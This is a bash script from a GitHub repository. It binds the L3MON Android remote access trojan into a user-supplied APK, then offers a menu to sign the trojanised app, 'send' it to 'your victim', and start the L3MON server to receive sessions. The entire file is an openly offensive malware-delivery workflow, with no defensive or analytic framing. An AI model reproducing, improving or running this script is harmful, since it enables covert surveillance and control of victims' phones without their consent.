-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path.lembinder
executable file
·146 lines (146 loc) · 4.74 KB
/
.lembinder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/bin/bash
#<<<------inertnet verification------>>>
function __internet_() {
while true; do
ping -c 1 google.com > /dev/null 2>&1
if [[ "$?" != 0 ]]
then
echo
printf "\n[\e[1;31mERROR!!\e[0m]\e[1;31m YOU ARE NOT CONNECTED TO INTERNET!!\e[0m\n"
printf "\n\e[1;33mplease turn on your internet data to continue this process..\e[0m\n"
printf "\n\e[1;36mpress \e[1;31mEnter\e[1;36m if you have connected or run \e[1;31mquit\e[1;36m to exit==> \e[0m"
read internt
if [[ $internt == 'exit' || $internt == 'quit' ]]; then
printf "\e[4;97mCSF \e[0;0;0m> \e[1;32mExiting\e[0m"
printf "\e[1;32m..........\e[0m\n" | pv -qL 10
exit
else
:
fi
else
printf "\n\e[4;97mCSF \e[0;0;0m> \e[1;32m connecting to server\e[0m"
printf "\e[1;32m...........\e[0m\n" | pv -qL 10
echo
break
fi
done
}
#<<<----------PROGRAM---------->>>
echo
PWD=$(pwd)
printf "\e[\e[1;34;40m In order to bind lemon rat in your desired apk file you must have created a lemon rat previously\e[0m\n"
printf "\e[4;97mCSF \e[0;0;0m> \e[1;96;40m IF YOU HAVE ALREADY CREATED A LEMON RAT THEN PRESS ENTER TO CONTINUE ELSE PRESS 'y' to start the server of lemon\e[0m__"
read choice
if [[ $choice == 'y' || $choice == 'Y' ]]
then
echo
printf "\e[1;97;40m SERVER OF LEMON (url:- http://localhost:22533/) IS STARTING ....\e[0m\n"
printf "\e[1;31m please reload the page when it opens in your browser\e[0m"
__internet_
sleep 2
xdg-open http://localhost:22533/
lemon
else
printf "\e[1;31m Continuing the program .........\e[0m\n"
fi
echo
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31mEnter your input apk (path/name.apk) ==> \e[0m"
read inputapk
printf "\n"
printf "\e[1;94mProcessing\e[0m"
printf "\e[1;94m.\e[0m"
sleep 0.3
printf "\e[1;94m.\e[0m"
sleep 0.3
printf "\e[1;94m.\e[0m"
sleep 0.3
printf "\e[1;94m.\e[0m"
sleep 0.3
printf "\e[1;94m.\e[0m\n"
sleep 0.3
printf "\n"
apkmod2 -i $inputapk
sleep 2
cd $HOME/lemon && mv -v L3MON_binded.apk /sdcard
cd $PWD
echo
printf "\e[1;31m If any error occur during binding the rat, you may ask us on telegram (link:- https://t.me/joinchat/sPry-cUszMw2ZWZk )\e[0m\n"
echo
printf "\e[1;34m If it is successfully binded then you can choose following options:-\e[0m\n"
echo
printf "\e[2;32m>(01). Sign the binded apk file\e[0m\n"
printf "\e[2;32m>(02). Send the signed + binded apk file to your victim\e[0m\n"
printf "\e[2;32m>(03). Install the signed + binded apk in your device \e[0m\n"
printf "\e[2;32m>(04). Remove the binded apk from you decive\e[0m\n"
printf "\e[2;32m>(05). Remove the signed + binded apk from your device\e[0m\n"
printf "\e[2;32m>(06). Start the lemon server to get the session \e[0m\n"
printf "\e[2;32m>>>>>> Run 'quit' to EXIT this program\e[0m\n"
echo
while true
do
printf "\e[1;36m Enter your option==> \e[0m"
read uopt
echo
if [[ $uopt == '1' ]] || [[ $uopt == '01' ]]
then
printf "\e[1;97;40m In order to sign your binded apk file download the apk signer app from playstore (link:- https://play.google.com/store/apps/details?id=com.haibison.apksigner ) and save the signed apk with name 'L3MON_binded.signed.apk' at same place where your unsigned binded apk file was saved!!\e[0m\n"
echo
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31m press enter key after you have signed the apk or run 'quit' to EXIT the program\e[0m__"
read hung
if [[ $hung == 'quit' || $hung == 'exit' ]]
then
exit
else
printf "\e[1;97m Continuing .......\e[0m\n"
fi
elif [[ $uopt == '2' ]] || [[ $uopt == '02' ]]
then
cd $HOME && cd /sdcard
xdg-open --send L3MON_binded.signed.apk
cd $PWD
elif [[ $uopt == '3' ]] || [[ $uopt == '03' ]]
then
cd $HOME && cd /sdcard
xdg-open L3MON_binded.signed.apk
cd $PWD
elif [[ $uopt == '4' ]] || [[ $uopt == '04' ]]
then
cd $HOME && cd /sdcard
seek=$(find L3MON_binded.apk)
if [[ $seek == L3MON_binded.apk ]]
then
rm -rf L3MON_binded.apk
cd $PWD
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31m L3MON_binded.apk is removed from your device\e[0m\n"
else
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31m L3MON_binded.apk is either deleted previously or not found!!\e[0m\n"
fi
elif [[ $uopt == '5' ]] || [[ $uopt == '05' ]]
then
cd $HOME && cd /sdcard
siik=$(find L3MON_binded.signed.apk)
if [[ $siik == L3MON_binded.signed.apk ]]
then
rm -rf L3MON_binded.signed.apk
cd $PWD
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31m L3MON_binded.signed.apk is removed from your device\e[0m\n"
else
printf "\e[4;97mCSF \e[0;0;0m> \e[1;31m L3MON_binded.signed.apk is either deleted previously or not found!!\e[0m\n"
fi
elif [[ $uopt == '6' ]] || [[ $uopt == '06' ]]
then
printf "\e[1;97;40m SERVER OF L3MON (url:- http://localhost:22533/) IS STARTING ....\e[0m\n"
printf "\e[1;31m please reload the page when it opens in your browser\e[0m"
__internet_
sleep 2
echo
echo
xdg-open http://localhost:22533/
lemon
elif [[ $uopt == 'quit' || $uopt == 'exit' ]]
then
exit
else
printf "(•) \e[1;34;43m Please select a valid option!!\e[0m\n"
fi
done